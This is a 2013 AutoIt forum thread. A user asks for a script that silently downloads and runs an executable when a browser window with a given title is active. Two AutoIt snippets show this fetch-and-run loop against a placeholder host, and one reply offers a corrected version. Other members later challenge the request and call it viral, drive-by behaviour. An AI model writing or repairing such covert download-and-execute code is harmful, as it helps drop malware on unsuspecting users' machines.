gl0w 0 Posted August 1, 2013 Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work. I want to work in every browser, ie, ff, chrome, opera, etc.. #include <Inet.au3> While(1) Sleep( 3000 ) Local $handle = WinGetHandle("[ACTIVE]") If( $handle = "Test - Windows Internet Explorer" ) Then InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe") ShellExecute (@TempDir & "\test.exe") EndIf WEnd Share this post Link to post Share on other sites
DatMCEyeBall 131 Posted August 1, 2013 (edited) You're comparing the handle from "WinGetHandle()" to the text, instead of using "WinGetText()". Try this: #include <Inet.au3> While 1 Sleep(3000) Local $sWinText = WinGetText("[active]") If $sWinText = "Test - Windows Internet Explorer" Then InetGet("http://www.site.com/test.exe", @TempDir & "\test.exe") ShellExecute (@TempDir & "\test.exe") EndIf WEnd Edited August 1, 2013 by DatMCEyeBall "Just be fred, all we gotta do, just be fred." -Vocaliod"That is a Hadouken. A KAMEHAMEHA would have taken him 13 days and 54 episodes to form." - Roden Hoxha@tabhookedClock made of cursors ♣ Desktop Widgets ♣ Water Simulation Share this post Link to post Share on other sites
gl0w 0 Posted August 1, 2013 did not work, it does not download the file Share this post Link to post Share on other sites
Jos 2,176 Posted August 1, 2013 Okay, I want that when a user enter x site get download and execute x file, but I tried to do does not work. I want to work in every browser, ie, ff, chrome, opera, etc.. You want to do what exactly? SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Share this post Link to post Share on other sites
gl0w 0 Posted August 1, 2013 You want to do what exactly? when user enters a website with the title "Test" download and run test.exe Share this post Link to post Share on other sites
Jos 2,176 Posted August 1, 2013 when user enters a website with the title "Test" download and run test.exe That part I understood, but why would you want to do this? SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Share this post Link to post Share on other sites
gl0w 0 Posted August 1, 2013 That part I understood, but why would you want to do this? work of university. Share this post Link to post Share on other sites
DatMCEyeBall 131 Posted August 1, 2013 work of university. I don't understand. "Just be fred, all we gotta do, just be fred." -Vocaliod"That is a Hadouken. A KAMEHAMEHA would have taken him 13 days and 54 episodes to form." - Roden Hoxha@tabhookedClock made of cursors ♣ Desktop Widgets ♣ Water Simulation Share this post Link to post Share on other sites
Jos 2,176 Posted August 1, 2013 work of university. Please explain why this is a reasonable requirement and not something to is going to be used as prank ..... SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Share this post Link to post Share on other sites
gl0w 0 Posted August 1, 2013 (edited) Please explain why this is a reasonable requirement and not something to is going to be used as prank ..... I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen. Edited August 1, 2013 by gl0w Share this post Link to post Share on other sites
Jos 2,176 Posted August 1, 2013 I need to present a project at university, I want to make a blocker PC when the user enters the site he runs the file that opens a splash screen. .. but do you understand where I am coming from? I cannot see that downloading a file and executing it in the background. without the person using the PC knowing this, is something one ever want to do and is considered viral behaviour. Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past. Share this post Link to post Share on other sites
DW1 102 Posted August 1, 2013 Why would you download a file anyway? You already have a script running on the machine watching the browsers right? The reason for suspicion is because what you are asking for is known as a drive-by. AutoIt3 Online Help Share this post Link to post Share on other sites